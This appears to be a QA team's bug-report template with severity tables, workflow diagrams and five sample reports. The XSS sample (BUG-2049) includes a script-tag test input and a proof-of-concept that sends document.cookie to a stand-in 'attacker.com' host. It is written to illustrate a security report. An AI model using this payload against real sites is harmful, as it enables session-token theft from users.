A comprehensive, standardized template for reporting software defects in a clear, complete, and reproducible manner—essential for effective QA and development collaboration.
This document provides a standardized template for reporting software defects effectively.
✅ Saves developer time - Clear reproduction steps enable quick fixes
✅ Reduces back-and-forth communication - Complete information upfront
✅ Improves fix accuracy - Detailed context prevents misunderstandings
✅ Builds trust between QA and development teams
✅ Accelerates release cycles - Faster defect resolution
✅ Provides historical documentation - Knowledge base for future reference
[!IMPORTANT] A bug report is only as good as its reproducibility. If a developer cannot reproduce the issue, it cannot be fixed.
graph TD
A[🐞 Bug Report] --> B[📝 Summary]
A --> C[🔁 Steps to Reproduce]
A --> D[✅ Expected Result]
A --> E[❌ Actual Result]
A --> F[📊 Severity & Priority]
A --> G[📎 Attachments]
A --> H[🖥️ Environment]
A --> I[🔄 Reproducibility]
style A fill:#ff9999
style C fill:#ffcccc
[Component/Module] Brief description of the issue
Guidelines:
| ❌ Bad Title | ✅ Good Title |
|---|---|
| “Login not working” | “[Login] Authentication fails with valid credentials on Chrome” |
| “Bug in search” | “[Search] No results returned when searching with special characters” |
| “Payment issue” | “[Checkout] Payment gateway timeout after 30 seconds” |
| “Button problem” | “[Profile] Save button remains disabled after form validation passes” |
Complete this metadata table for every bug report:
| Field | Description | Example |
|---|---|---|
| Bug ID | Auto-generated by tracking tool | BUG-1234 |
| Module/Component | Area where defect occurred | Authentication, Checkout, Search |
| Environment | Testing environment | QA, Staging, UAT, Production |
| Build/Version | Application version | v2.5.3-build-456 |
| Browser | Browser and version (web apps) | Chrome 121, Firefox 122, Safari 17 |
| Device | Device type (mobile apps) | iPhone 14 Pro, Samsung Galaxy S23 |
| OS | Operating system | Windows 11, macOS Sonoma, Android 14 |
| Reporter | QA engineer name | Ghanendra Kumar |
| Assigned To | Developer name (if known) | Dev Team / John Doe |
| Reported Date | When bug was found | 2026-02-09 |
| Status | Current state | New, Open, In Progress, Fixed, Retest, Closed |
| Related Requirements | Linked user stories/requirements | REQ-AUTH-001, US-123 |
[!TIP] Always link bugs to requirements or user stories for better traceability and impact analysis.
Provide a clear and concise description of the issue.
When [ACTION], the system [UNEXPECTED BEHAVIOR] instead of [EXPECTED BEHAVIOR].
This prevents users from [IMPACT/CONSEQUENCE].
Good Description:
When users enter valid credentials on the login page and click "Sign In",
the system displays "Invalid credentials" error despite the credentials
being correct. This prevents users from accessing their accounts and
blocks all authenticated features.
Enhanced with Business Impact:
The payment gateway integration fails to process transactions when the
cart total exceeds $1000. This results in a 502 Gateway Timeout error
after 30 seconds. This is causing significant revenue loss as high-value
orders cannot be completed, affecting approximately 15% of transactions.
Write clear, sequential, numbered steps that anyone can follow to reproduce the issue.
**Preconditions:**
- [List any setup required]
**Steps:**
1. [First action]
2. [Second action]
3. [Third action]
4. [Observe the result]
**Test Data:**
- [Specific data used]
**Preconditions:**
- User account exists: testuser@example.com
- User is logged out
- Browser cache is cleared
**Steps:**
1. Navigate to https://app.example.com/login
2. Enter email: testuser@example.com
3. Enter password: Test@1234
4. Click "Sign In" button
5. Observe the result
**Test Data:**
- Email: testuser@example.com
- Password: Test@1234
[!WARNING] Steps that cannot be reproduced by others will delay bug resolution. Verify reproducibility before logging.
Describe what should happen according to requirements or specifications.
Template:
After [ACTION], the system should:
- [Expected behavior 1]
- [Expected behavior 2]
- [Expected outcome]
Example:
After clicking "Sign In" with valid credentials, the system should:
- Authenticate the user successfully
- Redirect to the dashboard at /dashboard
- Display welcome message: "Welcome back, [Username]!"
- Create a session cookie with 30-minute expiry
Describe what actually happened (the defect).
Template:
Instead of [EXPECTED], the following occurred:
- [Actual behavior observed]
- [Error message, if any]
- [System state after issue]
Example:
Instead of successful login, the following occurred:
- Error message displayed: "Invalid email or password"
- User remains on login page
- No session is created
- Console shows error: "Authentication failed - 401 Unauthorized"
Based on technical impact on the system.
| Severity | Definition | Examples | Response Time |
|---|---|---|---|
| 🔴 Critical | Complete system failure, data loss, security breach | App crashes, data corruption, security vulnerability | Immediate |
| 🟠 High | Major functionality broken, blocking workflow | Cannot login, payment fails, core feature unusable | < 24 hours |
| 🟡 Medium | Partial functionality affected, workaround exists | Minor feature broken, UI inconsistency, slow performance | < 3 days |
| 🟢 Low | Cosmetic issues, minor inconvenience | Typo, color mismatch, tooltip missing | Next sprint |
Based on business urgency and user impact.
| Priority | Definition | Factors to Consider |
|---|---|---|
| P0 - Critical | Production blocker, requires immediate fix | Revenue impact, legal/compliance, user safety |
| P1 - High | Needs fix before next release | Affects majority of users, no workaround |
| P2 - Medium | Should be fixed soon | Affects some users, workaround available |
| P3 - Low | Can be deferred | Minor issue, affects few users |
graph TB
subgraph "Decision Matrix"
A[Critical Severity<br/>+ High Business Impact] --> P0[P0 - Critical Priority]
B[High Severity<br/>+ Medium Business Impact] --> P1[P1 - High Priority]
C[Medium Severity<br/>+ Low Business Impact] --> P2[P2 - Medium Priority]
D[Low Severity<br/>+ Minimal Business Impact] --> P3[P3 - Low Priority]
end
style P0 fill:#ff0000,color:#fff
style P1 fill:#ff9900,color:#fff
style P2 fill:#ffcc00
style P3 fill:#99cc00
[!NOTE] Severity is technical; Priority is business-driven. A low-severity bug can have high priority if it affects VIP customers or revenue.
Visual evidence significantly improves bug acceptance and resolution speed.
| Type | When to Use | Tools |
|---|---|---|
| 📸 Screenshots | UI bugs, error messages, visual issues | Snagit, Lightshot, OS built-in |
| 🎥 Screen Recordings | Workflow issues, intermittent bugs | Loom, OBS, QuickTime |
| 📄 Console Logs | JavaScript errors, API failures | Browser DevTools Console |
| 🔗 Network Logs (HAR) | API issues, failed requests | Browser DevTools Network tab |
| 📊 Performance Traces | Slow performance, memory leaks | Chrome DevTools Performance |
| 🗂️ Database Dumps | Data corruption issues | SQL export tools |
| 📝 API Responses | API bugs | Postman, cURL output |
✅ Annotate screenshots - Circle or highlight the problematic area
✅ Trim recordings - Show only relevant portions
✅ Name files descriptively - login-error-chrome-2026-02-09.png
✅ Redact sensitive data - Remove passwords, PII, API keys
[!TIP] A 30-second screen recording is worth a thousand words when explaining complex interaction bugs.
Indicate how consistently you can reproduce the bug:
| Status | Description | Implication |
|---|---|---|
| 100% - Always | Occurs every time following the steps | Easy to fix, high confidence |
| ~70% - Frequently | Occurs most times (e.g., 7 out of 10) | Timing or state-dependent |
| ~30% - Intermittent | Occurs occasionally (e.g., 3 out of 10) | Race condition, performance issue |
| <10% - Rare | Very hard to reproduce | Environment-specific, complex conditions |
| 0% - Unable to Reproduce | Cannot reproduce following steps | May need more information |
If you cannot reproduce 100% of the time, provide:
**Browser:** Chrome 121.0.6167.85
**OS:** Windows 11 Pro (Build 22621)
**Screen Resolution:** 1920x1080
**Network:** WiFi (50 Mbps)
**Cookies Enabled:** Yes
**JavaScript Enabled:** Yes
**Browser Extensions:** None / [List if relevant]
**Device:** iPhone 14 Pro
**OS:** iOS 17.2
**App Version:** 2.5.3 (build 456)
**Network:** 4G / WiFi
**Storage Available:** 64GB (12GB free)
**Orientation:** Portrait / Landscape
**API Endpoint:** POST /api/v1/users/login
**Server:** https://api-qa.example.com
**Request Method:** POST
**Authentication:** Bearer Token
**Content-Type:** application/json
**Response Status:** 401 Unauthorized
For critical bugs, include root cause analysis after investigation:
## Root Cause Analysis
**Root Cause:**
[What caused the bug - code issue, configuration, environment]
**Why It Happened:**
[Reason it was missed - lack of test coverage, edge case, integration issue]
**How to Prevent:**
[Preventive measures - add tests, update validation, improve monitoring]
**Related Issues:**
[Links to similar bugs or technical debt]
## Root Cause Analysis
**Root Cause:**
Database timeout occurs when user count exceeds 10,000 concurrent sessions
due to missing connection pool configuration.
**Why It Happened:**
Load testing was performed with max 1,000 users. Connection pool size
defaulted to 100, insufficient for production load.
**How to Prevent:**
1. Add load test with realistic user counts (15,000+ concurrent)
2. Configure connection pool size based on expected load
3. Implement connection monitoring and alerts
**Related Issues:**
- BUG-1145: Similar timeout in payment gateway
- TECH-DEBT-67: Missing production load testing
stateDiagram-v2
[*] --> New: Bug Reported
New --> Open: Triaged & Assigned
Open --> InProgress: Developer Working
InProgress --> Fixed: Code Fixed
Fixed --> Retest: QA Verification
Retest --> Reopened: Still Failing
Reopened --> InProgress: Reassigned
Retest --> Closed: Verified Fixed
Closed --> [*]
New --> Rejected: Not a Bug / Duplicate
Rejected --> [*]
| Status | Definition | Responsibility |
|---|---|---|
| New | Bug just reported, awaiting triage | QA Team |
| Open | Triaged, assigned to developer | Dev Team |
| In Progress | Developer actively working on fix | Dev Team |
| Fixed | Code fix completed, deployed to test env | Dev Team |
| Retest | Ready for QA verification | QA Team |
| Reopened | Fix did not resolve the issue | QA Team |
| Closed | Bug verified fixed and working | QA Team |
| Rejected | Not a bug / Duplicate / Won’t fix | Dev Lead / PM |
flowchart TD
A[New Bug Reported] --> B{Duplicate?}
B -->|Yes| C[Close as Duplicate]
B -->|No| D{Valid Bug?}
D -->|No| E[Close as Invalid]
D -->|Yes| F[Assign Severity]
F --> G[Assign Priority]
G --> H{Priority Level?}
H -->|P0 Critical| I[Immediate Assignment]
H -->|P1 High| J[Assign to Next Sprint]
H -->|P2 Medium| K[Add to Backlog]
H -->|P3 Low| L[Future Consideration]
I --> M[Developer Fixes]
J --> M
K --> M
L --> M
C --> N[End]
E --> N
M --> O[QA Retests]
O --> P{Passed?}
P -->|Yes| Q[Close Bug]
P -->|No| R[Reopen Bug]
Q --> N
R --> M
# Bug Report: Login Authentication Failure
**Bug ID:** BUG-2045
**Module:** Authentication
**Environment:** QA
**Build:** v2.5.3-build-456
**Browser:** Chrome 121.0.6167.85
**OS:** Windows 11
**Reporter:** Ghanendra Kumar
**Reported Date:** 2026-02-09
**Severity:** 🔴 Critical
**Priority:** P0 - Critical
## Description
When users attempt to login with valid credentials, the authentication
fails and displays "Invalid email or password" error message. This
completely blocks access to the application for all users.
**Business Impact:** All users unable to access the application since
deployment of build 456. Affects 100% of user base.
## Steps to Reproduce
**Preconditions:**
- User account exists in database: testuser@example.com
- User is logged out
- Browser cache cleared
**Steps:**
1. Navigate to https://qa.example.com/login
2. Enter email: testuser@example.com
3. Enter password: Test@1234
4. Click "Sign In" button
5. Observe error message
**Test Data:**
```json
{
"email": "testuser@example.com",
"password": "Test@1234"
}
```
## Expected Result
- User authenticated successfully
- Redirected to /dashboard
- Session cookie created with 30-min expiry
- Welcome message displayed
## Actual Result
- Error displayed: "Invalid email or password"
- User remains on login page
- No session created
- Console error: `auth.js:245 Uncaught TypeError: Cannot read property 'token' of undefined`
## Attachments
- [Screenshot: login-error-screen.png](attachment)
- [Video: login-flow-failure.mp4](attachment)
- [Console Log: browser-console.txt](attachment)
- [Network HAR: network-trace.har](attachment)
## Reproducibility
**100% - Always** (Reproduced 10 out of 10 times)
## Environment Details
```
Browser: Chrome 121.0.6167.85
OS: Windows 11 Pro (Build 22621)
Screen: 1920x1080
Network: WiFi (100 Mbps)
Extensions: None
```
## Additional Information
- API endpoint returns 401 Unauthorized
- Works correctly in build 455
- Affects all user accounts (admin, regular users)
- Database query verified - user exists with correct password hash
## Root Cause
JWT token validation middleware updated in build 456 to use new
secret key, but environment variable not updated in QA deployment.
## Fix Verification Steps
1. Deploy corrected configuration
2. Attempt login with valid credentials
3. Verify successful authentication
4. Verify session persistence
5. Test logout and re-login
# Bug Report: Save Button Remains Disabled
**Bug ID:** BUG-2046
**Module:** Profile Management
**Severity:** 🟡 Medium
**Priority:** P2 - Medium
## Description
On the Profile Edit page, the "Save Changes" button remains disabled
even after all required fields are filled and validated.
## Steps to Reproduce
1. Login as testuser@example.com
2. Navigate to Profile → Edit Profile
3. Update "First Name" to "John"
4. Update "Last Name" to "Smith"
5. Observe "Save Changes" button state
## Expected Result
"Save Changes" button should become enabled after form validation passes.
## Actual Result
Button remains disabled (greyed out) and cannot be clicked.
## Screenshots

**Severity:** Medium
**Reproducibility:** Always
# Bug Report: API Returns 500 Error for Valid Request
**Bug ID:** BUG-2047
**Endpoint:** POST /api/v1/orders
**Severity:** 🟠 High
**Priority:** P1 - High
## Description
Creating an order via API fails with 500 Internal Server Error when
order total exceeds $10,000.
## API Request
```http
POST /api/v1/orders HTTP/1.1
Host: api-qa.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{
"user_id": "12345",
"items": [
{"product_id": "SKU-001", "quantity": 100, "price": 150.00}
],
"total": 15000.00
}
```
## Expected Response
```json
{
"status": 201,
"data": {
"order_id": "ORD-789",
"total": 15000.00,
"created_at": "2026-02-09T10:30:00Z"
}
}
```
## Actual Response
```json
{
"status": 500,
"error": "Internal Server Error",
"message": "Database constraint violation"
}
```
## Server Logs
```
[ERROR] 2026-02-09 10:30:15 - OrderService.createOrder()
java.sql.SQLException: Numeric value out of range
```
**Reproducibility:** Always (when total > $10,000)
# Bug Report: Dashboard Load Time Exceeds 30 Seconds
**Bug ID:** BUG-2048
**Module:** Dashboard
**Severity:** 🟠 High
**Priority:** P1 - High
## Description
Dashboard page takes 30+ seconds to load for users with more than
1000 transactions, causing timeout and poor user experience.
## Steps to Reproduce
1. Login with account having 1500+ transactions (testuser-bulk@example.com)
2. Navigate to Dashboard
3. Measure page load time
## Expected Result
Dashboard should load within 2-3 seconds.
## Actual Result
- Initial load: 12 seconds
- Data fetch: 22 seconds
- Total: 34 seconds
- Browser shows "Page Unresponsive" warning
## Performance Trace

**Root Cause:** Missing pagination on transaction query - fetches all
records at once instead of paginated results.
# Bug Report: XSS Vulnerability in Comment Field
**Bug ID:** BUG-2049
**Module:** Comments
**Severity:** 🔴 Critical
**Priority:** P0 - Critical
## Description
**SECURITY VULNERABILITY:** The comment field does not sanitize user
input, allowing Cross-Site Scripting (XSS) attacks.
## Steps to Reproduce
1. Navigate to any post page
2. Enter comment: `<script>alert('XSS')</script>`
3. Submit comment
4. Refresh page
## Expected Result
Script tags should be escaped/sanitized and displayed as plain text.
## Actual Result
JavaScript executes - alert box appears. Malicious scripts can:
- Steal session tokens
- Redirect users
- Inject malicious content
## Proof of Concept
```html
<script>
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
```
## Recommendation
Implement input sanitization using DOMPurify or similar library.
**⚠️ CONFIDENTIAL - SECURITY ISSUE**
| Mistake | Impact | Solution |
|---|---|---|
| Vague bug title | Wastes developer time searching for context | Use descriptive format: [Module] Issue description |
| Missing reproduction steps | Bug won’t be fixed | Provide clear, numbered steps |
| Wrong severity/priority | Delays critical fixes or wastes resources | Follow severity/priority guidelines |
| No attachments | Developer cannot see the issue | Always attach screenshots/recordings |
| Mixing multiple bugs | Confusion, incomplete fixes | One bug per ticket |
| Not retesting | Bugs reopen in production | Always verify fix before closing |
| Emotional language | Unprofessional, damages relationships | Use objective, factual descriptions |
Before submitting a bug report, verify:
[!TIP] Use this checklist every time before submitting a bug to ensure completeness and quality.
| Version | Date | Author | Changes |
|---|---|---|---|
| 2.0 | 2026-02-09 | Ghanendra Kumar | Major enhancement: Added badges, Mermaid diagrams for bug lifecycle and triage process, severity/priority matrix, 5 detailed bug examples (functional, UI, API, performance, security), root cause analysis template, bug report checklist, GitHub alerts |
| 1.5 | 2026-01-25 | QA Team | Added reproducibility section and environment details |
| 1.0 | 2025-11-20 | QA Team | Initial bug report template |
Help us improve this bug report template!
Ideas for contributions:
This document is licensed under the MIT License.
MIT License - Copyright (c) 2026 QA Team
Permission is granted to use, modify, and distribute this content.
Continue Learning:
⭐ If you found this template helpful, please star this repository! ⭐
| Made with ❤️ by the QA Team | Last Updated: February 2026 |